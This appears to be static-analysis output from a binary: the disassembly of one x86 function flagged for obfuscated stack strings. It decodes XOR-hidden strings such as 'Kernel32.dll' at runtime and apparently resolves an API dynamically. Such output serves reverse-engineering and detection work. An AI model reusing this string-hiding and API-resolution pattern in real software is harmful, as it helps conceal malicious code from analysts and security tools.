Function at 0x4151a6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x44d6d5
call fcn.0044d3f0
sub esp, 0x22c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 0x7c], ebx
and dword [ebp - 4], ebx
lea esi, [edi + 0xac]
push esi
call fcn.0040b94f
test al, al
je 0x415286
mov dl, 0x35
mov dword [ebp - 0x6e], 0x47507e35
mov dword [ebp - 0x6a], 0x659505b
mov dword [ebp - 0x66], 0x59511b07
mov word [ebp - 0x62], 0x59
xor ecx, ecx
mov dword [ebp - 0x80], ecx
push 0xc
pop eax
cmp ecx, eax
jae 0x41521c
lea eax, [ebp - 0x6e]
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x6e]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x80], ecx
mov dl, byte [ebp - 0x6e]
jmp 0x4151fc
mov byte [ebp - 0x61], 0
mov dword [ebp - 0x60], esi
cmp dword [esi + 0x14], 0xf
jbe 0x41522e
mov eax, dword [esi]
mov dword [ebp - 0x60], eax
mov dl, 0x43
mov dword [ebp - 0x1e], 0x2f260743
mov dword [ebp - 0x1a], 0x5263726
mov dword [ebp - 0x16], 0x2262f2a
mov byte [ebp - 0x12], 0
xor ecx, ecx
mov dword [ebp - 0x84], ecx
lea eax, [ebp - 0x1e]
cmp ecx, 0xb
jae 0x415272
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x1e]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x84], ecx
mov dl, byte [ebp - 0x1e]
jmp 0x415251
mov byte [ebp - 0x12], 0
push dword [ebp - 0x60]
lea edx, [ebp - 0x1d]
lea ecx, [ebp - 0x6d]
call fcn.0040af96
call eax
push esi
push dword [ebp + 8]
call fcn.0040b8bb
lea eax, [ebp - 0x11]
push eax
push esi
lea ecx, [ebp - 0x148]
call fcn.0041186f
cmp byte [ebp - 0x11], 0
je 0x415316
push 0x5b
pop edx
mov byte [ebp - 0x33], dl
mov dword [ebp - 0x32], 0x342f2e3a
mov dword [ebp - 0x2e], 0x3737323d
mov byte [ebp - 0x2a], 0
lea esi, [ebp - 0x33]
xor ecx, ecx
mov dword [ebp - 0x88], ecx
cmp ecx, 8
jae 0x4152e3
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x88], ecx
mov dl, byte [ebp - 0x33]
jmp 0x4152c8
mov byte [ebp - 0x2a], 0
lea eax, [ebp - 0x32]
push eax
lea ecx, [ebp - 0xe8]
call fcn.0040fb41
or ebx, 1
mov dword [ebp - 0x7c], ebx
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x148]
call fcn.004118f1
test al, al
mov byte [ebp - 0x11], 1
jne 0x41531a
mov byte [ebp - 0x11], 0
test bl, 1
je 0x415330
and ebx, 0xfffffffe
mov dword [ebp - 0x7c], ebx
lea ecx, [ebp - 0xe8]
call fcn.0040fa99
cmp byte [ebp - 0x11], 0
je 0x4156cb
push 0x40835c
lea ecx, [ebp - 0xb8]
call fcn.0040fb41
push 1
push dword [ebp + 8]
lea eax, [ebp - 0xd0]
push eax
mov ecx, edi
call fcn.00413f2f
mov eax, dword [edi + 0x120]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x110]
cdq
push 0xc
pop ebx
idiv ebx
mov dword [ebp - 0x60], eax
cmp eax, 0x10000
jne 0x4153ab
lea ecx, [ebp - 0xd0]
call fcn.0040fa99
lea ecx, [ebp - 0xb8]
call fcn.0040fa99
lea ecx, [ebp - 0x148]
call fcn.00414b19
jmp 0x4156da
xor esi, esi
mov dword [ebp - 0x98], esi
cmp esi, eax
jge 0x4155c0
push 1
push esi
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x148]
call fcn.00411b68
mov edx, 0x40835c
lea ecx, [ebp - 0x78]
call fcn.0040ff4b
test al, al
jne 0x4155a9
cmp dword [ebp - 0x68], 0x5a
jae 0x4155a9
mov dl, 0x5f
mov dword [ebp - 0x40], 0x2d30195f
mov dword [ebp - 0x3c], 0x3e317f32
mov dword [ebp - 0x38], 0x7f653a32
mov byte [ebp - 0x34], al
xor ecx, ecx
mov dword [ebp - 0x8c], ecx
cmp ecx, 0xb
jae 0x415429
mov al, byte [ebp + ecx - 0x3f]
xor al, dl
mov byte [ebp + ecx - 0x3f], al
inc ecx
mov dword [ebp - 0x8c], ecx
mov dl, byte [ebp - 0x40]
jmp 0x41540e
mov byte [ebp - 0x34], 0
push 0x4083b0
push 0
push esi
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0x148]
call fcn.00411b68
push eax
lea edx, [ebp - 0x3f]
lea ecx, [ebp - 0x178]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x160]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040fa32
lea ecx, [ebp - 0x160]
call fcn.0040fa99
lea ecx, [ebp - 0x178]
call fcn.0040fa99
lea ecx, [ebp - 0x190]
call fcn.0040fa99
mov dl, 0x51
mov dword [ebp - 0x4e], 0x233e1751
mov dword [ebp - 0x4a], 0x3027713c
mov dword [ebp - 0x46], 0x6b34243d
mov word [ebp - 0x42], 0x71
xor ecx, ecx
mov dword [ebp - 0x90], ecx
cmp ecx, ebx
jae 0x4154cf
mov al, byte [ebp + ecx - 0x4d]
xor al, dl
mov byte [ebp + ecx - 0x4d], al
inc ecx
mov dword [ebp - 0x90], ecx
mov dl, byte [ebp - 0x4e]
jmp 0x4154b5
mov byte [ebp - 0x41], 0
push 0x4083b0
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x4d]
lea ecx, [ebp - 0x1c0]
call fcn.00427fce
mov edx, eax
lea ecx, [ebp - 0x1a8]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040fa32
lea ecx, [ebp - 0x1a8]
call fcn.0040fa99
lea ecx, [ebp - 0x1c0]
call fcn.0040fa99
mov dl, 0x3d
mov dword [ebp - 0x29], 0x524f7f3d
mov dword [ebp - 0x25], 0x4f584e4a
mov word [ebp - 0x21], 0x1d07
mov byte [ebp - 0x1f], 0
xor ecx, ecx
mov dword [ebp - 0x94], ecx
cmp ecx, 9
jae 0x415556
mov al, byte [ebp + ecx - 0x28]
xor al, dl
mov byte [ebp + ecx - 0x28], al
inc ecx
mov dword [ebp - 0x94], ecx
mov dl, byte [ebp - 0x29]
jmp 0x41553b
mov byte [ebp - 0x1f], 0
push 0x40848c
lea eax, [ebp - 0xd0]
push eax
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x1f0]
call fcn.00427fce
mov edx, eax
lea ecx, [ebp - 0x1d8]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0xb8]
call fcn.0040fa32
lea ecx, [ebp - 0x1d8]
call fcn.0040fa99
lea ecx, [ebp - 0x1f0]
call fcn.0040fa99
inc dword [edi + 0x120]
lea ecx, [ebp - 0x78]
call fcn.0040fa99
inc esi
mov dword [ebp - 0x98], esi
mov eax, dword [ebp - 0x60]
jmp 0x4153b3
mov edx, 0x40835c
lea ecx, [ebp - 0xb8]
call fcn.0040ff4b
test al, al
jne 0x4156b5
mov edx, dword [edi + 0x120]
sub edx, dword [ebp - 0x9c]
lea ecx, [ebp - 0x238]
call fcn.0040b102
mov esi, eax
mov dl, 0x67
mov dword [ebp - 0x5b], 0x475d4767
mov dword [ebp - 0x57], 0x9120824
mov dword [ebp - 0x53], 0x475a4713
mov byte [ebp - 0x4f], 0
lea ebx, [ebp - 0x5b]
xor ecx, ecx
mov dword [ebp - 0xa0], ecx
cmp ecx, 0xb
jae 0x415632
mov al, byte [ecx + ebx + 1]
xor al, dl
mov byte [ecx + ebx + 1], al
inc ecx
mov dword [ebp - 0xa0], ecx
mov dl, byte [ebp - 0x5b]
jmp 0x415617
mov byte [ebp - 0x4f], 0
lea eax, [ebp - 0x5a]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x220]
call fcn.0040fcf9
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x100]
call fcn.00410566
push 0x4083b0
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x208]
call fcn.0040fd46
push eax
lea ecx, [edi + 0xdc]
call fcn.0040fa32
lea ecx, [ebp - 0x208]
call fcn.0040fa99
lea ecx, [ebp - 0x100]
call fcn.0040fa99
lea ecx, [ebp - 0x220]
call fcn.0040fa99
lea ecx, [ebp - 0x238]
call fcn.0040fa99
lea eax, [ebp - 0xb8]
push eax
lea ecx, [edi + 0x7c]
call fcn.0040fa32
lea ecx, [ebp - 0xd0]
call fcn.0040fa99
lea ecx, [ebp - 0xb8]
call fcn.0040fa99
lea ecx, [ebp - 0x148]
call fcn.00414b19
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4